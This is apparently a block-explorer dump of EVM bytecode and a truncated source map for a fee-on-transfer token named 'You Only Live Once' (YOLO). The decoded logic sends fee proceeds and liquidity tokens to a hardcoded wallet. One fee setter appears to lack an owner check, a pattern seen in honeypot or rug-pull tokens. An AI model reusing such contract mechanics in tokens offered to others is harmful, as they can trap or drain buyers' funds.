602052604090205460ff16158015610f3957506001600160a01b03821660009081526007602052604090205460ff16155b8015610f535750600a546001600160a01b03838116911614155b8015610f6a57506001600160a01b03821661dead14155b15610e5d57610f776108c3565b6001600160a01b038316600090815260056020526040902054610f9a90836112cf565b1115610e5d5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610530565b600a546001600160a01b03828116911614801561101e57506001600160a01b03821660009081526007602052604090205460ff16155b15610ef3576001601460008282546110369190611a5b565b90915550505050565b600a546001600160a01b038481169116146110e55761105c610624565b8111158061108257506001600160a01b03831660009081526007602052604090205460ff165b806110a557506001600160a01b03821660009081526007602052604090205460ff165b6110e55760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610530565b6110ed6108d4565b8111158061111357506001600160a01b03831660009081526007602052604090205460ff165b8061113657506001600160a01b03821660009081526007602052604090205460ff165b610e5d5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610530565b6111818383836112db565b15610e5d57611191601654611388565b6000601455505050565b6001600160a01b03821660009081526007602052604081205460ff161580156106b15750506001600160a01b031660009081526007602052604090205460ff1615919050565b6000806111ee8585611513565b11156112c85760006112116112038686611513565b6012546107ab9086906109c9565b3060009081526005602052604090205490915061122e90826112cf565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061127f9085815260200190565b60405180910390a3600e54156112b6576112b63061dead6112b1600e546107ab601254896109c990919063ffffffff16565b610af9565b6112c08382610ca7565b9150506106b1565b5092915050565b60006106b18284611a5b565b6017546016543060009081526005602052604081205460155491938510159211159060ff1615801561130f575060135460ff165b80156113245750600a54600160a01b900460ff165b801561132d5750815b801561135257506001600160a01b03861660009081526007602052604090205460ff16155b801561136b5750600a546001600160a01b038681169116145b8015611375575060015b801561137e5750805b9695505050505050565b6015805460ff19166001908117909155600d54600c54600b546000936113c2936002936107ab9391926113bc9283916112cf565b906112cf565b905060006113df826107b1600b5486610c4b90919063ffffffff16565b905060006113ed8483610ca7565b9050476113f9826115b4565b60006114054783610ca7565b90506000611428611421600b5488610ca790919063ffffffff16565b83906109c9565b90506000611441600b5483610c4b90919063ffffffff16565b9050801561145357611453868261170e565b600c54600090611468906107ab856002610c4b565b905080156114b35760405173e7fbe71f240cf5cf4eca95894f31e41fbbc309189082156108fc029083906000818181858888f193505050501580156114b1573d6000803e3d6000fd5b505b4780156114fd5760405173e7fbe71f240cf5cf4eca95894f31e41fbbc309189082156108fc029083906000818181858888f193505050501580156114fb573d6000803e3d6000fd5b505b50506015805460ff191690555050505050505050565b6001600160a01b03821660009081526008602052604081205460ff168061155257506001600160a01b03821660009081526008602052604090205460ff165b1561156c57601254611565906064611a07565b905061061e565b600a546001600160a01b039081169083160361158b575060105461061e565b600a546001600160a01b03908116908416036115aa5750600f5461061e565b5060115492915050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106115e9576115e9611a6e565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611642573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116669190611a84565b8160018151811061167957611679611a6e565b6001600160a01b03928316602091820292909201015260095461169f91309116846109d5565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906116d8908590600090869030904290600401611aa1565b600060405180830381600087803b1580156116f257600080fd5b505af1158015611706573d6000803e3d6000fd5b505050505050565b6009546117269030906001600160a01b0316846109d5565b60095460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015273e7fbe71f240cf5cf4eca95894f31e41fbbc3091860848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af11580156117a6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117cb9190611b12565b5050505050565b600080600080600080600060e0888a0312156117ed57600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600060208083528351808285015260005b8181101561184b5785810183015185820160400152820161182f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108f857600080fd5b6000806040838503121561189457600080fd5b823561189f8161186c565b946020939093013593505050565b6000806000606084860312156118c257600080fd5b83356118cd8161186c565b925060208401356118dd8161186c565b929592945050506040919091013590565b60006020828403121561190057600080fd5b81356106b18161186c565b60008060006060848603121561192057600080fd5b505081359360208301359350604090920135919050565b6000806040838503121561194a57600080fd5b82356119558161186c565b91506020830135801515811461196a57600080fd5b809150509250929050565b60006020828403121561198757600080fd5b5035919050565b600080604083850312156119a157600080fd5b82356119ac8161186c565b9150602083013561196a8161186c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611a2157611a216119f1565b500290565b600082611a4357634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561061e5761061e6119f1565b8082018082111561061e5761061e6119f1565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a9657600080fd5b81516106b18161186c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611af15784516001600160a01b031683529383019391830191600101611acc565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611b2757600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122034f0fbc341b705bdfd9c5569c67bcaa5646802bcc2fb8a0946c0eb4abd72805964736f6c63430008100033
Deployed Bytecode
0x60806040526004361061016a5760003560e01c806370a08231116100d15780638c41180e1161008a57806395d89b411161006457806395d89b4114610453578063a8aa1b3114610480578063a9059cbb146104a0578063dd62ed3e146104c057600080fd5b80638c41180e146104005780638da5cb5b146104205780639358928b1461043e57600080fd5b806370a0823114610339578063715018a61461036f57806378109e54146103845780637d1db4a514610399578063893d20e8146103ae5780638a5583d1146103e057600080fd5b8063293230b811610123578063293230b8146102695780632f54bf6e1461027e578063313ce567146102ad57806334c5d2ce146102c95780633f4218e0146102e957806348ff2b8b1461031957600080fd5b8063044019301461017657806306fdde0314610198578063095ea7b3146101e557806318160ddd146102155780631f976b7e1461023457806323b872dd1461024957600080fd5b3661017157005b600080fd5b34801561018257600080fd5b506101966101913660046117d2565b610506565b005b3480156101a457600080fd5b50604080518082019091526012815271596f75204f6e6c79204c697665204f6e636560701b60208201525b6040516101dc919061181e565b60405180910390f35b3480156101f157600080fd5b50610205610200366004611881565b61060d565b60405190151581526020016101dc565b34801561022157600080fd5b506001545b6040519081526020016101dc565b34801561024057600080fd5b50610226610624565b34801561025557600080fd5b506102056102643660046118ad565b61064e565b34801561027557600080fd5b506101966106b8565b34801561028a57600080fd5b506102056102993660046118ee565b6000546001600160a01b0391821691161490565b3480156102b957600080fd5b50604051600981526020016101dc565b3480156102d557600080fd5b506101966102e436600461190b565b6106f1565b3480156102f557600080fd5b506102056103043660046118ee565b60076020526000908152604090205460ff1681565b34801561032557600080fd5b50610196610334366004611937565b610838565b34801561034557600080fd5b506102266103543660046118ee565b6001600160a01b031660009081526005602052604090205490565b34801561037b57600080fd5b5061019661088d565b34801561039057600080fd5b506102266108c3565b3480156103a557600080fd5b506102266108d4565b3480156103ba57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101dc565b3480156103ec57600080fd5b506101966103fb366004611975565b6108e5565b34801561040c57600080fd5b5061019661041b366004611937565b6108fb565b34801561042c57600080fd5b506000546001600160a01b03166103c8565b34801561044a57600080fd5b50610226610950565b34801561045f57600080fd5b50604080518082019091526004815263594f4c4f60e01b60208201526101cf565b34801561048c57600080fd5b50600a546103c8906001600160a01b031681565b3480156104ac57600080fd5b506102056104bb366004611881565b6109bc565b3480156104cc57600080fd5b506102266104db36600461198e565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6000546001600160a01b031633146105395760405162461bcd60e51b8152600401610530906119bc565b60405180910390fd5b600b879055600c869055600e859055600d849055600f8390556010829055601181905560125461056a9060056109c9565b600f541115801561058a57506012546105849060056109c9565b60115411155b80156105a5575060125461059f9060036109c9565b60105411155b6106045760405162461bcd60e51b815260206004820152602a60248201527f746f74616c46656520616e64207a656e74612063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b6064820152608401610530565b50505050505050565b600061061a3384846109d5565b5060015b92915050565b600060125460035461063560015490565b61063f9190611a07565b6106499190611a26565b905090565b600061065b848484610af9565b6106ad84336106a885604051806060016040528060288152602001611b41602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610c1f565b6109d5565b5060015b9392505050565b6000546001600160a01b031633146106e25760405162461bcd60e51b8152600401610530906119bc565b600a805460ff60a01b19169055565b6000546001600160a01b0316331461071b5760405162461bcd60e51b8152600401610530906119bc565b600060648461072960015490565b6107339190611a07565b61073d9190611a26565b9050600060648461074d60015490565b6107579190611a07565b6107619190611a26565b9050600060648461077160015490565b61077b9190611a07565b6107859190611a26565b600287905560038690556004859055905060006107b7600a6107b160056107ab60015490565b90610c4b565b906109c9565b90508084101580156107c95750808310155b80156107d55750808210155b6106045760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610530565b6000546001600160a01b031633146108625760405162461bcd60e51b8152600401610530906119bc565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108b75760405162461bcd60e51b8152600401610530906119bc565b6108c16000610c57565b565b600060125460045461063560015490565b600060125460025461063560015490565b601081905560638110156108f857600080fd5b50565b6000546001600160a01b031633146109255760405162461bcd60e51b8152600401610530906119bc565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b60056020527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5461dead60009081527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba5460015491926106499290916109b69190610ca7565b90610ca7565b600061061a338484610af9565b60006106b18284611a26565b6001600160a01b038316610a375760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610530565b6001600160a01b038216610a985760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610530565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b610b04838383610cb3565b610b0e8383610e62565b610b19838383610ef7565b610b238383610fe8565b610b2e83838361103f565b610b39838383611176565b6001600160a01b038316600090815260056020526040902054610b5c9082610ca7565b6001600160a01b038416600090815260056020526040812091909155610b82848461119b565b610b8c5781610b97565b610b978484846111e1565b6001600160a01b038416600090815260056020526040902054909150610bbd90826112cf565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c119085815260200190565b60405180910390a350505050565b60008184841115610c435760405162461bcd60e51b8152600401610530919061181e565b505050900390565b60006106b18284611a07565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006106b18284611a48565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610530565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610530565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610530565b6001600160a01b038316600090815260056020526040902054811115610e5d5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610530565b505050565b6001600160a01b03821660009081526007602052604090205460ff16158015610ea457506001600160a01b03811660009081526007602052604090205460ff16155b15610ef357600a54600160a01b900460ff16610ef35760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610530565b5050565b6001600160a01b03831660009081526007602052604090205460ff16158015610f3957506001600160a01b03821660009081526007602052604090205460ff16155b8015610f535750600a546001600160a01b03838116911614155b8015610f6a57506001600160a01b03821661dead14155b15610e5d57610f776108c3565b6001600160a01b038316600090815260056020526040902054610f9a90836112cf565b1115610e5d5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610530565b600a546001600160a01b03828116911614801561101e57506001600160a01b03821660009081526007602052604090205460ff16155b15610ef3576001601460008282546110369190611a5b565b90915550505050565b600a546001600160a01b038481169116146110e55761105c610624565b8111158061108257506001600160a01b03831660009081526007602052604090205460ff165b806110a557506001600160a01b03821660009081526007602052604090205460ff165b6110e55760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610530565b6110ed6108d4565b8111158061111357506001600160a01b03831660009081526007602052604090205460ff165b8061113657506001600160a01b03821660009081526007602052604090205460ff165b610e5d5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610530565b6111818383836112db565b15610e5d57611191601654611388565b6000601455505050565b6001600160a01b03821660009081526007602052604081205460ff161580156106b15750506001600160a01b031660009081526007602052604090205460ff1615919050565b6000806111ee8585611513565b11156112c85760006112116112038686611513565b6012546107ab9086906109c9565b3060009081526005602052604090205490915061122e90826112cf565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061127f9085815260200190565b60405180910390a3600e54156112b6576112b63061dead6112b1600e546107ab601254896109c990919063ffffffff16565b610af9565b6112c08382610ca7565b9150506106b1565b5092915050565b60006106b18284611a5b565b6017546016543060009081526005602052604081205460155491938510159211159060ff1615801561130f575060135460ff165b80156113245750600a54600160a01b900460ff165b801561132d5750815b801561135257506001600160a01b03861660009081526007602052604090205460ff16155b801561136b5750600a546001600160a01b038681169116145b8015611375575060015b801561137e5750805b9695505050505050565b6015805460ff19166001908117909155600d54600c54600b546000936113c2936002936107ab9391926113bc9283916112cf565b906112cf565b905060006113df826107b1600b5486610c4b90919063ffffffff16565b905060006113ed8483610ca7565b9050476113f9826115b4565b60006114054783610ca7565b90506000611428611421600b5488610ca790919063ffffffff16565b83906109c9565b90506000611441600b5483610c4b90919063ffffffff16565b9050801561145357611453868261170e565b600c54600090611468906107ab856002610c4b565b905080156114b35760405173e7fbe71f240cf5cf4eca95894f31e41fbbc309189082156108fc029083906000818181858888f193505050501580156114b1573d6000803e3d6000fd5b505b4780156114fd5760405173e7fbe71f240cf5cf4eca95894f31e41fbbc309189082156108fc029083906000818181858888f193505050501580156114fb573d6000803e3d6000fd5b505b50506015805460ff191690555050505050505050565b6001600160a01b03821660009081526008602052604081205460ff168061155257506001600160a01b03821660009081526008602052604090205460ff165b1561156c57601254611565906064611a07565b905061061e565b600a546001600160a01b039081169083160361158b575060105461061e565b600a546001600160a01b03908116908416036115aa5750600f5461061e565b5060115492915050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106115e9576115e9611a6e565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611642573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116669190611a84565b8160018151811061167957611679611a6e565b6001600160a01b03928316602091820292909201015260095461169f91309116846109d5565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906116d8908590600090869030904290600401611aa1565b600060405180830381600087803b1580156116f257600080fd5b505af1158015611706573d6000803e3d6000fd5b505050505050565b6009546117269030906001600160a01b0316846109d5565b60095460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015273e7fbe71f240cf5cf4eca95894f31e41fbbc3091860848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af11580156117a6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117cb9190611b12565b5050505050565b600080600080600080600060e0888a0312156117ed57600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b600060208083528351808285015260005b8181101561184b5785810183015185820160400152820161182f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146108f857600080fd5b6000806040838503121561189457600080fd5b823561189f8161186c565b946020939093013593505050565b6000806000606084860312156118c257600080fd5b83356118cd8161186c565b925060208401356118dd8161186c565b929592945050506040919091013590565b60006020828403121561190057600080fd5b81356106b18161186c565b60008060006060848603121561192057600080fd5b505081359360208301359350604090920135919050565b6000806040838503121561194a57600080fd5b82356119558161186c565b91506020830135801515811461196a57600080fd5b809150509250929050565b60006020828403121561198757600080fd5b5035919050565b600080604083850312156119a157600080fd5b82356119ac8161186c565b9150602083013561196a8161186c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611a2157611a216119f1565b500290565b600082611a4357634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561061e5761061e6119f1565b8082018082111561061e5761061e6119f1565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a9657600080fd5b81516106b18161186c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611af15784516001600160a01b031683529383019391830191600101611acc565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611b2757600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122034f0fbc341b705bdfd9c5569c67bcaa5646802bcc2fb8a0946c0eb4abd72805964736f6c63430008100033
Deployed Bytecode Sourcemap
5440:11779:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10848:558;;;;;;;;;;-1:-1:-1;10848:558:0;;;;;:::i;:::-;;:::i;:::-;;7754:67;;;;;;;;;;-1:-1:-1;7814:5:0;;;;;;;;;;;;-1:-1:-1;;;7814:5:0;;;;7754:67;;;;;;;:::i;:::-;;;;;;;;9071:133;;;;;;;;;;-1:-1:-1;9071:133:0;;;;;:::i;:::-;;:::i;:::-;;;1785:14:1;;1778:22;1760:41;;1748:2;1733:18;9071:133:0;1620:187:1;8137:84:0;;;;;;;;;;-1:-1:-1;8207:12:0;;8137:84;;;1958:25:1;;;1946:2;1931:18;8137:84:0;1812:177:1;9593:119:0;;;;;;;;;;;;;:::i;16563:309::-;;;;;;;;;;-1:-1:-1;16563:309:0;;;;;:::i;:::-;;:::i;7977:68::-;;;;;;;;;;;;;:::i;3591:106::-;;;;;;;;;;-1:-1:-1;3591:106:0;;;;;:::i;:::-;3646:4;3683:6;-1:-1:-1;;;;;3672:17:0;;;3683:6;;3672:17;;3591:106;7904:67;;;;;;;;;;-1:-1:-1;7904:67:0;;5654:1;2849:36:1;;2837:2;2822:18;7904:67:0;2707:184:1;11415:576:0;;;;;;;;;;-1:-1:-1;11415:576:0;;;;;:::i;:::-;;:::i;5987:44::-;;;;;;;;;;-1:-1:-1;5987:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8849:108;;;;;;;;;;-1:-1:-1;8849:108:0;;;;;:::i;:::-;;:::i;8227:99::-;;;;;;;;;;-1:-1:-1;8227:99:0;;;;;:::i;:::-;-1:-1:-1;;;;;8310:14:0;8293:7;8310:14;;;:5;:14;;;;;;;8227:99;3706:103;;;;;;;;;;;;;:::i;9354:114::-;;;;;;;;;;;;;:::i;9474:113::-;;;;;;;;;;;;;:::i;8051:80::-;;;;;;;;;;-1:-1:-1;8103:7:0;3439:6;-1:-1:-1;;;;;3439:6:0;8051:80;;;-1:-1:-1;;;;;3802:32:1;;;3784:51;;3772:2;3757:18;8051:80:0;3638:203:1;8963:102:0;;;;;;;;;;-1:-1:-1;8963:102:0;;;;;:::i;:::-;;:::i;8744:99::-;;;;;;;;;;-1:-1:-1;8744:99:0;;;;;:::i;:::-;;:::i;3366:87::-;;;;;;;;;;-1:-1:-1;3412:7:0;3439:6;-1:-1:-1;;;;;3439:6:0;3366:87;;9210:138;;;;;;;;;;;;;:::i;7827:71::-;;;;;;;;;;-1:-1:-1;7889:7:0;;;;;;;;;;;;-1:-1:-1;;;7889:7:0;;;;7827:71;;6105:19;;;;;;;;;;-1:-1:-1;6105:19:0;;;;-1:-1:-1;;;;;6105:19:0;;;8332:139;;;;;;;;;;-1:-1:-1;8332:139:0;;;;;:::i;:::-;;:::i;8477:127::-;;;;;;;;;;-1:-1:-1;8477:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8575:18:0;;;8558:7;8575:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8477:127;10848:558;3412:7;3439:6;-1:-1:-1;;;;;3439:6:0;176:10;3502:23;3494:68;;;;-1:-1:-1;;;3494:68:0;;;;;;;:::i;:::-;;;;;;;;;11024:12:::1;:25:::0;;;11060:12:::1;:25:::0;;;11096:7:::1;:15:::0;;;11122:14:::1;:29:::0;;;11162:8:::1;:17:::0;;;11190:5:::1;:13:::0;;;11214:11:::1;:20:::0;;;11265:11:::1;::::0;:18:::1;::::0;11281:1:::1;11265:15;:18::i;:::-;11253:8;;:30;;:67;;;;-1:-1:-1::0;11302:11:0::1;::::0;:18:::1;::::0;11318:1:::1;11302:15;:18::i;:::-;11287:11;;:33;;11253:67;:98;;;;-1:-1:-1::0;11333:11:0::1;::::0;:18:::1;::::0;11349:1:::1;11333:15;:18::i;:::-;11324:5;;:27;;11253:98;11245:153;;;::::0;-1:-1:-1;;;11245:153:0;;4987:2:1;11245:153:0::1;::::0;::::1;4969:21:1::0;5026:2;5006:18;;;4999:30;5065:34;5045:18;;;5038:62;-1:-1:-1;;;5116:18:1;;;5109:40;5166:19;;11245:153:0::1;4785:406:1::0;11245:153:0::1;10848:558:::0;;;;;;;:::o;9071:133::-;9146:4;9153:37;9162:10;9174:7;9183:6;9153:8;:37::i;:::-;-1:-1:-1;9198:4:0;9071:133;;;;;:::o;9593:119::-;9644:7;9699:11;;9677:19;;9661:13;8207:12;;;8137:84;9661:13;:35;;;;:::i;:::-;:49;;;;:::i;:::-;9654:56;;9593:119;:::o;16563:309::-;16661:4;16678:36;16688:6;16696:9;16707:6;16678:9;:36::i;:::-;16725:117;16734:6;16742:10;16754:87;16790:6;16754:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16754:19:0;;;;;;:11;:19;;;;;;;;16774:10;16754:31;;;;;;;;;:87;:35;:87::i;:::-;16725:8;:117::i;:::-;-1:-1:-1;16860:4:0;16563:309;;;;;;:::o;7977:68::-;3412:7;3439:6;-1:-1:-1;;;;;3439:6:0;176:10;3502:23;3494:68;;;;-1:-1:-1;;;3494:68:0;;;;;;;:::i;:::-;8021:14:::1;:22:::0;;-1:-1:-1;;;;8021:22:0::1;::::0;;7977:68::o;11415:576::-;3412:7;3439:6;-1:-1:-1;;;;;3439:6:0;176:10;3502:23;3494:68;;;;-1:-1:-1;;;3494:68:0;;;;;;;:::i;:::-;11515:13:::1;11556:3;11548:4;11532:13;8207:12:::0;;;8137:84;11532:13:::1;:20;;;;:::i;:::-;11531:28;;;;:::i;:::-;11515:44;;11570:19;11619:3;11609:6;11593:13;8207:12:::0;;;8137:84;11593:13:::1;:22;;;;:::i;:::-;11592:30;;;;:::i;:::-;11570:52;;11633:17;11681:3;11670:7;11654:13;8207:12:::0;;;8137:84;11654:13:::1;:23;;;;:::i;:::-;11653:31;;;;:::i;:::-;11695:19;:26:::0;;;11732:19:::1;:28:::0;;;11771:17:::1;:27:::0;;;11633:51;-1:-1:-1;;11825:28:0::1;11850:2;11825:20;11843:1;11825:13;8207:12:::0;;;8137:84;11825:13:::1;:17:::0;::::1;:20::i;:::-;:24:::0;::::1;:28::i;:::-;11809:44;;11881:5;11872;:14;;:38;;;;;11905:5;11890:11;:20;;11872:38;:60;;;;;11927:5;11914:9;:18;;11872:60;11864:119;;;::::0;-1:-1:-1;;;11864:119:0;;5925:2:1;11864:119:0::1;::::0;::::1;5907:21:1::0;5964:2;5944:18;;;5937:30;6003:34;5983:18;;;5976:62;-1:-1:-1;;;6054:18:1;;;6047:44;6108:19;;11864:119:0::1;5723:410:1::0;8849:108:0;3412:7;3439:6;-1:-1:-1;;;;;3439:6:0;176:10;3502:23;3494:68;;;;-1:-1:-1;;;3494:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8923:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;8923:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8849:108::o;3706:103::-;3412:7;3439:6;-1:-1:-1;;;;;3439:6:0;176:10;3502:23;3494:68;;;;-1:-1:-1;;;3494:68:0;;;;;;;:::i;:::-;3771:30:::1;3798:1;3771:18;:30::i;:::-;3706:103::o:0;9354:114::-;9402:7;9455:11;;9435:17;;9419:13;8207:12;;;8137:84;9474:113;9519:7;9574:11;;9552:19;;9536:13;8207:12;;;8137:84;8963:102;9020:5;:18;;;9060:2;9047:15;;;9039:24;;;;;;8963:102;:::o;8744:99::-;3412:7;3439:6;-1:-1:-1;;;;;3439:6:0;176:10;3502:23;3494:68;;;;-1:-1:-1;;;3494:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8815:15:0;;;::::1;;::::0;;;:5:::1;:15;::::0;;;;:26;;-1:-1:-1;;8815:26:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8744:99::o;9210:138::-;8310:5;:14;;;;6818:42;9269:7;8310:14;;;;;9286:12;;9269:7;;9286:60;;8310:14;;9286:33;;:12;:16;:33::i;:::-;:37;;:60::i;8332:139::-;8410:4;8417:40;8427:10;8439:9;8450:6;8417:9;:40::i;600:82::-;658:7;675:5;679:1;675;:5;:::i;16881:335::-;-1:-1:-1;;;;;16974:19:0;;16966:68;;;;-1:-1:-1;;;16966:68:0;;6340:2:1;16966:68:0;;;6322:21:1;6379:2;6359:18;;;6352:30;6418:34;6398:18;;;6391:62;-1:-1:-1;;;6469:18:1;;;6462:34;6513:19;;16966:68:0;6138:400:1;16966:68:0;-1:-1:-1;;;;;17053:21:0;;17045:68;;;;-1:-1:-1;;;17045:68:0;;6745:2:1;17045:68:0;;;6727:21:1;6784:2;6764:18;;;6757:30;6823:34;6803:18;;;6796:62;-1:-1:-1;;;6874:18:1;;;6867:32;6916:19;;17045:68:0;6543:398:1;17045:68:0;-1:-1:-1;;;;;17124:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17176:32;;1958:25:1;;;17176:32:0;;1931:18:1;17176:32:0;;;;;;;16881:335;;;:::o;10169:670::-;10258:37;10269:6;10277:9;10288:6;10258:10;:37::i;:::-;10306:38;10326:6;10334:9;10306:19;:38::i;:::-;10355:41;10370:6;10378:9;10389:6;10355:14;:41::i;:::-;10408:35;10425:6;10433:9;10408:16;:35::i;:::-;10454:39;10467:6;10475:9;10486:6;10454:12;:39::i;:::-;10505:35;10514:6;10522:9;10533:6;10505:8;:35::i;:::-;-1:-1:-1;;;;;10567:13:0;;;;;;:5;:13;;;;;;:25;;10585:6;10567:17;:25::i;:::-;-1:-1:-1;;;;;10551:13:0;;;;;;:5;:13;;;;;:41;;;;10628:32;10557:6;10650:9;10628:13;:32::i;:::-;:78;;10700:6;10628:78;;;10663:34;10671:6;10679:9;10690:6;10663:7;:34::i;:::-;-1:-1:-1;;;;;10736:16:0;;;;;;:5;:16;;;;;;10603:103;;-1:-1:-1;10736:36:0;;10603:103;10736:20;:36::i;:::-;-1:-1:-1;;;;;10717:16:0;;;;;;;:5;:16;;;;;;;:55;;;;10788:43;;;;;;;;;;10816:14;1958:25:1;;1946:2;1931:18;;1812:177;10788:43:0;;;;;;;;10247:592;10169:670;;;:::o;1639:162::-;1725:7;1771:12;1763:6;;;;1755:29;;;;-1:-1:-1;;;1755:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1793:5:0;;;1639:162::o;512:82::-;570:7;587:5;591:1;587;:5;:::i;3818:191::-;3892:16;3911:6;;-1:-1:-1;;;;;3928:17:0;;;-1:-1:-1;;;;;;3928:17:0;;;;;;3961:40;;3911:6;;;;;;;3961:40;;3892:16;3961:40;3881:128;3818:191;:::o;424:82::-;482:7;499:5;503:1;499;:5;:::i;9721:439::-;-1:-1:-1;;;;;9825:20:0;;9817:70;;;;-1:-1:-1;;;9817:70:0;;7281:2:1;9817:70:0;;;7263:21:1;7320:2;7300:18;;;7293:30;7359:34;7339:18;;;7332:62;-1:-1:-1;;;7410:18:1;;;7403:35;7455:19;;9817:70:0;7079:401:1;9817:70:0;-1:-1:-1;;;;;9906:23:0;;9898:71;;;;-1:-1:-1;;;9898:71:0;;7687:2:1;9898:71:0;;;7669:21:1;7726:2;7706:18;;;7699:30;7765:34;7745:18;;;7738:62;-1:-1:-1;;;7816:18:1;;;7809:33;7859:19;;9898:71:0;7485:399:1;9898:71:0;10005:1;9988:6;:19;9980:73;;;;-1:-1:-1;;;9980:73:0;;8091:2:1;9980:73:0;;;8073:21:1;8130:2;8110:18;;;8103:30;8169:34;8149